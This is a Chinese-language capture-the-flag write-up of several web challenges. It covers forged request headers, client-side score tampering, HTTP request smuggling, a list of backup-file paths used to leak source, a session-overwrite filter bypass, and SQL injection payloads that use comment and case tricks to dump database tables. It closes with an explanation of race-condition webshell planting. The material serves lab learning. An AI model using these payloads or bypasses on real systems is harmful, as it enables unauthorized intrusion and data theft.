Week1

Hitchhiking_in_the_Galaxy

进入之后是一个404的页面,仔细一看是伪造的。看一波源码

1

注释说头部标签,并且有个链接HitchhikerGuide.php,而这个链接之前怎么也进不去。那就抓包试试

2

提示方法不对,换post方式试试。

3

这个无限非概率引擎大概指搜索引擎,改ua头

4

从那来,那就改referer

5

提示本地访问,用xff头
6

出flag

watermelon

进入游戏先玩一局,很快就输了。然后弹出提示,达到2000分即可获取flag。靠普通玩家玩到两千分很困难,所以得用非常规手段——修改网页源码。
可以参考文章:https://www.bilibili.com/read/cv9513274
7

可以看到源码很长,不可能一一看过去。于是可以利用页面搜索的功能,分数的英文单词是score。所以尝试检索score。
8

将左侧的文件夹全点开一一检索,最终发现project.js文件里检索出大量flag。然后发现这么一段代码,如下图
9

意思是分数+=水果数+1,于是我们可以将1改为10000等很大的数,这样每次加分都会加上那个数,最终达到2000就很容易。改完按ctrl+s保存一下。然后开始游戏。
10

游戏结束,轻松2000+,拿到flag。

智商检测鸡

11

进入页面提示做一百道定积分,先做一道试试
12

回显right,那就做题呗,由于不会python我只好手动输入答案,计算过程可有c++实现。

#include<iostream>
using namespace std;

int main()
{
float a,b,c,d;
int i=1;
while(i<=100)
{
cin>>a>>b>>c>>d;
cout<<(0.5*a*(d*d-c*c)+(d-c)*b)<<endl;
i++;
}
return 0;
}

输完100个即可获得flag

走私者的愤怒

通过题目提示,考点为http协议请求走私
知识点:
https://paper.seebug.org/1048/
https://www.cnblogs.com/xhds/p/12339994.html
尝试第一种攻击:CL不为0的GET请求
13

没有成功,不过还有第二种:CL-CL
构造请求包,然后发送:
14

第二个包:
15

还不行,第三种:CL-TE

Week2

LazyDogR4U

管理员将网站源代码备份在Web目录下,攻击者通过猜解文件路径,下载备份文件,导致源代码泄露。

常见备份文件后缀
.index.php.swp
index.php.swp
index.php.bak
.index.php~
index.php.bak_Edietplus
index.php.~
index.php.~1~
index.php
index.php~
index.php.rar
index.php.zip
index.php.7z
index.php.tar.gz
www.zip
www.rar
www.zip
www.7z
www.tar.gz
www.tar
web.zip
web.rar
web.zip
web.7z
web.tar.gz
web.tar
wwwroot.rar
web.rar

尝试www.zip,获得网站源码。解压后看看我们感兴趣的flag.php
21

再看看lazy.php
22

可以考虑将 _SESSION[‘username’] 覆盖为 admin;有一些过滤,是被替换为空的那种,可以双写绕过。
于是构造?_SESESSIONSSION[username]=admin
直接获得flag
23

200OK!!

经检测报头里的status字段存在sql注入
16

空格被过滤,用/**/绕过,尝试发现union和select也存在过滤,但可用大小写绕过
17

查表:-1'/**/Union/**/Select/**/group_concat(table_name)/**/From/**/information_schema.tables/**/Where/**/table_schema=database()#
18

查列:-1'/**/Union/**/Select/**/group_concat(column_name)/**/From/**/information_schema.columns/**/Where/**/table_schema=database()/**/and/**/table_name="f1111111144444444444g"#
19

查数据:-1'/**/Union/**/Select/**/group_concat(ffffff14gggggg)/**/From/**/f1111111144444444444g#
20

Liki的生日礼物

考点为条件竞争,python多线程同时买26张券即可
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

这是一个小例子,很多web程序都会有上传文件的功能,头像和图像等,服务器肯定会检查文件是否满足条件,不满足的要被删除,大概的框架是:

<?php
if(isset($_GET['src'])){
saveimg($_GET['src']);
//得到保存路径filename
//检查文件
check(filename);
if(不符合规范)
deldte(filename);
else
pass;
//...
}
?>

那么问题就在于,如果我们采用大量的并发请求,就传递一个生成恶意webshell的图像,访问它就可以生成webshell。在上传完成和安全检查完成并删除它的间隙,攻击者通过不断地发起访问请求的方法访问了该文件,该文件就会被执行,并且在服务器上生成一个恶意shell的文件。至此,该文件的任务就已全部完成,至于后面发现它是一个不安全的文件并把它删除的问题都已经不重要了,因为攻击者已经成功的在服务器中植入了一个shell文件,后续的一切就都不是问题了。